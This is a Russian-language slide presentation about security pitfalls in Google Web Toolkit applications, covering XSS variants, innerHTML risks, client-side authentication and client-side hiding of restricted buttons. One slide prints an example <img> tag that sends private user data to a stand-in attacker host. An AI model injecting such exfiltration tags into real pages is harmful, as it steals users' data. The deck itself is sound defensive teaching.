🗊Google Web Toolkit Безопасность бизнес-приложений

Категория: Информатика
Нажмите для полного просмотра!
Google Web Toolkit  Безопасность бизнес-приложений, слайд №1Google Web Toolkit  Безопасность бизнес-приложений, слайд №2Google Web Toolkit  Безопасность бизнес-приложений, слайд №3Google Web Toolkit  Безопасность бизнес-приложений, слайд №4Google Web Toolkit  Безопасность бизнес-приложений, слайд №5Google Web Toolkit  Безопасность бизнес-приложений, слайд №6Google Web Toolkit  Безопасность бизнес-приложений, слайд №7Google Web Toolkit  Безопасность бизнес-приложений, слайд №8Google Web Toolkit  Безопасность бизнес-приложений, слайд №9Google Web Toolkit  Безопасность бизнес-приложений, слайд №10Google Web Toolkit  Безопасность бизнес-приложений, слайд №11Google Web Toolkit  Безопасность бизнес-приложений, слайд №12Google Web Toolkit  Безопасность бизнес-приложений, слайд №13Google Web Toolkit  Безопасность бизнес-приложений, слайд №14Google Web Toolkit  Безопасность бизнес-приложений, слайд №15Google Web Toolkit  Безопасность бизнес-приложений, слайд №16Google Web Toolkit  Безопасность бизнес-приложений, слайд №17Google Web Toolkit  Безопасность бизнес-приложений, слайд №18Google Web Toolkit  Безопасность бизнес-приложений, слайд №19Google Web Toolkit  Безопасность бизнес-приложений, слайд №20Google Web Toolkit  Безопасность бизнес-приложений, слайд №21Google Web Toolkit  Безопасность бизнес-приложений, слайд №22Google Web Toolkit  Безопасность бизнес-приложений, слайд №23Google Web Toolkit  Безопасность бизнес-приложений, слайд №24Google Web Toolkit  Безопасность бизнес-приложений, слайд №25Google Web Toolkit  Безопасность бизнес-приложений, слайд №26Google Web Toolkit  Безопасность бизнес-приложений, слайд №27Google Web Toolkit  Безопасность бизнес-приложений, слайд №28Google Web Toolkit  Безопасность бизнес-приложений, слайд №29Google Web Toolkit  Безопасность бизнес-приложений, слайд №30Google Web Toolkit  Безопасность бизнес-приложений, слайд №31

Содержание

Вы можете ознакомиться и скачать Google Web Toolkit Безопасность бизнес-приложений. Презентация содержит 31 слайдов. Презентации для любого класса можно скачать бесплатно. Если материал и наш сайт презентаций Вам понравились – поделитесь им с друзьями с помощью социальных кнопок и добавьте в закладки в своем браузере.

Слайды и текст этой презентации


Слайд 1





Google Web Toolkit
Безопасность бизнес-приложений
Описание слайда:
Google Web Toolkit Безопасность бизнес-приложений

Слайд 2





Появление GWT
	Google Web Toolkit (GWT) был неожиданно открыт для публики 18 мая 2006 года на ежегодной конференции JavaOne в Сан-Франциско. Цель, которая стояла перед GWT, была очень простой: сделать разработку с помощью технологии Ajax проще за счет сокрытия несовместимостей браузеров от программиста и позволить разработчику работать в среде, подобной Java.
Описание слайда:
Появление GWT Google Web Toolkit (GWT) был неожиданно открыт для публики 18 мая 2006 года на ежегодной конференции JavaOne в Сан-Франциско. Цель, которая стояла перед GWT, была очень простой: сделать разработку с помощью технологии Ajax проще за счет сокрытия несовместимостей браузеров от программиста и позволить разработчику работать в среде, подобной Java.

Слайд 3





Принципы GWT
	Google Web Toolkit объединяет клиентский и серверный код в отдельном приложении, написанном на одном языке - Java. Это имеет ряд преимуществ. С одной стороны, довольно много разработчиков знают Java и JavaScript или Flash. С другой стороны, Java изобилит средствами разработки, такими как Eclipse, NetBeans и IDEA. GWT позволяет создавать web-приложения так же, как вы создаете Swing приложения, обеспечивая создание визуальных компонентов, установку обработчиков событий, отладку и т.д. - все в пределах стандартной IDE.
Описание слайда:
Принципы GWT Google Web Toolkit объединяет клиентский и серверный код в отдельном приложении, написанном на одном языке - Java. Это имеет ряд преимуществ. С одной стороны, довольно много разработчиков знают Java и JavaScript или Flash. С другой стороны, Java изобилит средствами разработки, такими как Eclipse, NetBeans и IDEA. GWT позволяет создавать web-приложения так же, как вы создаете Swing приложения, обеспечивая создание визуальных компонентов, установку обработчиков событий, отладку и т.д. - все в пределах стандартной IDE.

Слайд 4





Источник уязвимости
	Необходимо учитывать, что код Java, написанный в удобной IDE, в конце концов, преобразуется в код JavaScript и будет исполняться в клиентском браузере. Поэтому GWT неявно перенимает все недостатки JavaScript, которые существуют на сегодняшний день. Разработчики Google максимально позаботились об общих вещах безопасности, но не меньшая ответственность в обеспечении безопасности лежит на программистах, использующих GWT.
Описание слайда:
Источник уязвимости Необходимо учитывать, что код Java, написанный в удобной IDE, в конце концов, преобразуется в код JavaScript и будет исполняться в клиентском браузере. Поэтому GWT неявно перенимает все недостатки JavaScript, которые существуют на сегодняшний день. Разработчики Google максимально позаботились об общих вещах безопасности, но не меньшая ответственность в обеспечении безопасности лежит на программистах, использующих GWT.

Слайд 5





Угрозы
	При рассмотрении угроз для технологии GWT следует учитывать как угрозы к самой технологии – стандартным классам, взаимодействию клиента с сервером по протоколу GWT RPC, - так и угрозы, которые необходимо учитывать программисту при проектировании и разработке программного комплекса.
Описание слайда:
Угрозы При рассмотрении угроз для технологии GWT следует учитывать как угрозы к самой технологии – стандартным классам, взаимодействию клиента с сервером по протоколу GWT RPC, - так и угрозы, которые необходимо учитывать программисту при проектировании и разработке программного комплекса.

Слайд 6





Угрозы
	Эти проблемы, как и многие другие в интернете, берут начало от вредоносных программистов. Люди, которые проводят огромный процент своей жизни над размышлениями о том, как украсть данные. Продавцы web браузеров вносят свой вклад в борьбу с этими людьми и один из путей осуществления этого Same-Origin Policy.
Описание слайда:
Угрозы Эти проблемы, как и многие другие в интернете, берут начало от вредоносных программистов. Люди, которые проводят огромный процент своей жизни над размышлениями о том, как украсть данные. Продавцы web браузеров вносят свой вклад в борьбу с этими людьми и один из путей осуществления этого Same-Origin Policy.

Слайд 7





Same-Origin Policy
	Same-Origin Policy (SOP) говорит, что код, запущенный на странице, который был загружен с Сайта А, не может иметь доступа к данным или к сетевым ресурсам, принадлежащим любому другому сайту или даже любой другой странице (кроме других страниц, которые также загружены с Сайта А). Целью является предотвращение инъекции вредного кода хакерами в Сайт А, собирающего ваши личные данные и отправляющего Сайту В. Это, конечно, известные ограничения, защищающие AJAX код от XMLHTTPRequest вызовов к URL, который не является тем же сайтом, с текущей страницей.
Описание слайда:
Same-Origin Policy Same-Origin Policy (SOP) говорит, что код, запущенный на странице, который был загружен с Сайта А, не может иметь доступа к данным или к сетевым ресурсам, принадлежащим любому другому сайту или даже любой другой странице (кроме других страниц, которые также загружены с Сайта А). Целью является предотвращение инъекции вредного кода хакерами в Сайт А, собирающего ваши личные данные и отправляющего Сайту В. Это, конечно, известные ограничения, защищающие AJAX код от XMLHTTPRequest вызовов к URL, который не является тем же сайтом, с текущей страницей.

Слайд 8





Варианты XSS взлома
злой код создает невидимый iframe и добавляет в него <form>. Действие формы устанавливается в URL сервера, который контролирует атакующий. Затем форма заполняется данными, которые поступают из родительской страницы и затем форма отправляется.
Описание слайда:
Варианты XSS взлома злой код создает невидимый iframe и добавляет в него <form>. Действие формы устанавливается в URL сервера, который контролирует атакующий. Затем форма заполняется данными, которые поступают из родительской страницы и затем форма отправляется.

Слайд 9





Варианты XSS взлома
JavaScript может добавлять новые ресурсы - такие как <img> теги - на текущую страницу. Можно вызвать изображение, находящееся на foo.com, для встраивания на bar.com. Не сложно вообразить сценарий, где злой код крадет полезную информацию и зашифровывает ее в <img>; например, тег может выглядеть так: 
<img src=“ http://evil.domain.tld/pagehits?private_user_data=12345
"/>
Описание слайда:
Варианты XSS взлома JavaScript может добавлять новые ресурсы - такие как <img> теги - на текущую страницу. Можно вызвать изображение, находящееся на foo.com, для встраивания на bar.com. Не сложно вообразить сценарий, где злой код крадет полезную информацию и зашифровывает ее в <img>; например, тег может выглядеть так: <img src=“ http://evil.domain.tld/pagehits?private_user_data=12345 "/>

Слайд 10





Варианты XSS взлома
злой код создает невидимый iframe, конструирует URL с параметрами в запросе содержащие в себе информацию из родительской страницы и затем устанавливает iframe "src" в URL сервера, который находится под контролем атакующего.
Описание слайда:
Варианты XSS взлома злой код создает невидимый iframe, конструирует URL с параметрами в запросе содержащие в себе информацию из родительской страницы и затем устанавливает iframe "src" в URL сервера, который находится под контролем атакующего.

Слайд 11





Варианты XSS взлома
злой код создает <script> тег с функциями, похожими на <img> атаку.
	Список путей, которыми злой код может попасть на хорошую страницу, можно продолжать бесконечно.
Описание слайда:
Варианты XSS взлома злой код создает <script> тег с функциями, похожими на <img> атаку. Список путей, которыми злой код может попасть на хорошую страницу, можно продолжать бесконечно.

Слайд 12





Защита от XSS
В настоящее время можно быть уверенным, что GWT защищает от XSS в следующих направлениях:
JavaScript на host странице, который не имеет отношения к GWT;
написанный вручную код, устанавливающий innerHTML на GWT Widget объекты;
использование JSON API для разбора ненадежных строк (которые, в конечном счете, вызывают eval функцию JavaScript);
JavaScript Native Interface (JSNI) код, который пишется разработчиком, что нарушает безопасность (установка innerHTML, вызов eval, писать прямо в документ через document.write, и т.п.).
Описание слайда:
Защита от XSS В настоящее время можно быть уверенным, что GWT защищает от XSS в следующих направлениях: JavaScript на host странице, который не имеет отношения к GWT; написанный вручную код, устанавливающий innerHTML на GWT Widget объекты; использование JSON API для разбора ненадежных строк (которые, в конечном счете, вызывают eval функцию JavaScript); JavaScript Native Interface (JSNI) код, который пишется разработчиком, что нарушает безопасность (установка innerHTML, вызов eval, писать прямо в документ через document.write, и т.п.).

Слайд 13





Внешние JS конструкции
	Многие GWT разработчики используют GWT наряду с другими JavaScript решениями. Например, приложение может использовать mashup с кодом из разных сайтов, или можно использовать JavaScript библиотеку третьих лиц вместе с GWT. В этом случае, приложение может стать уязвимым.
	Если необходимо смешивать другой JavaScript код с GWT в вашем приложении, важно чтобы просматривался каждый кусочек, чтобы быть уверенными, что приложение защищено.
Описание слайда:
Внешние JS конструкции Многие GWT разработчики используют GWT наряду с другими JavaScript решениями. Например, приложение может использовать mashup с кодом из разных сайтов, или можно использовать JavaScript библиотеку третьих лиц вместе с GWT. В этом случае, приложение может стать уязвимым. Если необходимо смешивать другой JavaScript код с GWT в вашем приложении, важно чтобы просматривался каждый кусочек, чтобы быть уверенными, что приложение защищено.

Слайд 14





Работа с innerHtml
	Это распространенная техника, чтобы заполнять тела таблиц, DIV-ов, фреймов, и других подобных UI элементов некоторым статичным HTML контентом. Это особенно легко достигается, через определение innerHTML атрибута JavaScript объекта. Однако, это рискованно, так как позволяет злому содержанию напрямую загружаться на вашу страницу.
Описание слайда:
Работа с innerHtml Это распространенная техника, чтобы заполнять тела таблиц, DIV-ов, фреймов, и других подобных UI элементов некоторым статичным HTML контентом. Это особенно легко достигается, через определение innerHTML атрибута JavaScript объекта. Однако, это рискованно, так как позволяет злому содержанию напрямую загружаться на вашу страницу.

Слайд 15





Пример взлома XSS
	При использовании стандартных GWT виджетов разработчики не защищены от XSS. Например, рассмотрим виджет Grid. Без дополнительного экранирования символов, можно получить следующий эффект.
Описание слайда:
Пример взлома XSS При использовании стандартных GWT виджетов разработчики не защищены от XSS. Например, рассмотрим виджет Grid. Без дополнительного экранирования символов, можно получить следующий эффект.

Слайд 16





Предпосылка XSS
Описание слайда:
Предпосылка XSS

Слайд 17





Последствия XSS
Описание слайда:
Последствия XSS

Слайд 18





Пример взлома XSS
	Но и это не наихудший вариант взлома. Таким же образом можно вставить JavaScript код или целый блок разметки, с помощью которого злоумышленник будет делать то, что хочет.
Описание слайда:
Пример взлома XSS Но и это не наихудший вариант взлома. Таким же образом можно вставить JavaScript код или целый блок разметки, с помощью которого злоумышленник будет делать то, что хочет.

Слайд 19





Предпосылка XSS
Описание слайда:
Предпосылка XSS

Слайд 20





Последствия XSS
Описание слайда:
Последствия XSS

Слайд 21





Аутентификация пользователя
	Вследствие удобности разработки на GWT, разработчик порой забывает, какой код он пишет в данный момент: серверный или клиентский. С этим может быть связанно много проблем, в том числе и проблема аутентификации.
Описание слайда:
Аутентификация пользователя Вследствие удобности разработки на GWT, разработчик порой забывает, какой код он пишет в данный момент: серверный или клиентский. С этим может быть связанно много проблем, в том числе и проблема аутентификации.

Слайд 22





Аутентификация пользователя
	Как известно, любой запрос, исходящий от клиентской части, потенциально опасный. Поэтому никогда аутентификацию пользователя нельзя проводить в клиентском коде. Необходимо делать удаленный вызов на сервер, аутентифицировать его, а затем заносить данные о пользователе в параметры сессии.
Описание слайда:
Аутентификация пользователя Как известно, любой запрос, исходящий от клиентской части, потенциально опасный. Поэтому никогда аутентификацию пользователя нельзя проводить в клиентском коде. Необходимо делать удаленный вызов на сервер, аутентифицировать его, а затем заносить данные о пользователе в параметры сессии.

Слайд 23





Скрытые элементы
	Иногда в больших системах есть разграничения доступа различных пользователей к различным частям системы. Вследствие этого пользователь может, например, не видеть каких-либо кнопок на экране. Например, сравним следующие участки кода.
Описание слайда:
Скрытые элементы Иногда в больших системах есть разграничения доступа различных пользователей к различным частям системы. Вследствие этого пользователь может, например, не видеть каких-либо кнопок на экране. Например, сравним следующие участки кода.

Слайд 24





Скрытые элементы
Вариант 1:
if (canDeleteUser) {
	this.deleteButton = new Button(“Delete”);
	add(deleteButton);
}
Вариант 2:
this.deleteButton = new Button(“Delete”);
add(deleteButton);
if (!canDeleteUser) {
	deleteButton.setVisible(false);
}
В ЧЕМ ОТЛИЧИЕ?
Описание слайда:
Скрытые элементы Вариант 1: if (canDeleteUser) { this.deleteButton = new Button(“Delete”); add(deleteButton); } Вариант 2: this.deleteButton = new Button(“Delete”); add(deleteButton); if (!canDeleteUser) { deleteButton.setVisible(false); } В ЧЕМ ОТЛИЧИЕ?

Слайд 25





Скрытые элементы
	Вариант 2 выглядит более привлекательно, потому что при добавлении кнопки мы можем свободно манипулировать ее состоянием (активна/неактивна), не думая о том, что она возможно не создана и сгенерирует NullPointerException.
Описание слайда:
Скрытые элементы Вариант 2 выглядит более привлекательно, потому что при добавлении кнопки мы можем свободно манипулировать ее состоянием (активна/неактивна), не думая о том, что она возможно не создана и сгенерирует NullPointerException.

Слайд 26





Скрытые элементы
	Но если вспомнить, что клиентский код будет преобразован в JavaScript, получим для варианта 1 полное отсутствие кнопки в DOM модели:
Описание слайда:
Скрытые элементы Но если вспомнить, что клиентский код будет преобразован в JavaScript, получим для варианта 1 полное отсутствие кнопки в DOM модели:

Слайд 27





Скрытые элементы
	Для второго варианта соответственно:
Описание слайда:
Скрытые элементы Для второго варианта соответственно:

Слайд 28





Скрытые элементы
	Современные браузеры позволяют редактировать DOM модель загруженной страницы. Поэтому, используя, например, Google Chrome, получаем явную уязвимость (при отсутствии дополнительной проверки права на сервере):
Описание слайда:
Скрытые элементы Современные браузеры позволяют редактировать DOM модель загруженной страницы. Поэтому, используя, например, Google Chrome, получаем явную уязвимость (при отсутствии дополнительной проверки права на сервере):

Слайд 29





Скрытые элементы
Описание слайда:
Скрытые элементы

Слайд 30





Выводы
	Технология GWT является популярной среди программистов. Google всячески поддерживает новшества в ней, выпуская новые версии, исправляя известные ошибки. Разработчики GWT позаботились о максимальной безопасности GWT. Но, с учетом особенности среды, в которой будет работать результирующий код, необходимо быть предельно осторожным при использовании GWT.
Описание слайда:
Выводы Технология GWT является популярной среди программистов. Google всячески поддерживает новшества в ней, выпуская новые версии, исправляя известные ошибки. Разработчики GWT позаботились о максимальной безопасности GWT. Но, с учетом особенности среды, в которой будет работать результирующий код, необходимо быть предельно осторожным при использовании GWT.

Слайд 31





Спасибо
Автор:
Карпунов Геннадий
Использовались материалы статьи: 
http://groups.google.com/group/Google-Web-Toolkit/web/security-for-gwt-applications?pli=1
 
Mail: sweet_misery@list.ru
ICQ: 483696862
IM: muzikant_777
Skype: muzikant_777
Описание слайда:
Спасибо Автор: Карпунов Геннадий Использовались материалы статьи: http://groups.google.com/group/Google-Web-Toolkit/web/security-for-gwt-applications?pli=1 Mail: sweet_misery@list.ru ICQ: 483696862 IM: muzikant_777 Skype: muzikant_777



Похожие презентации
Mypresentation.ru
Загрузить презентацию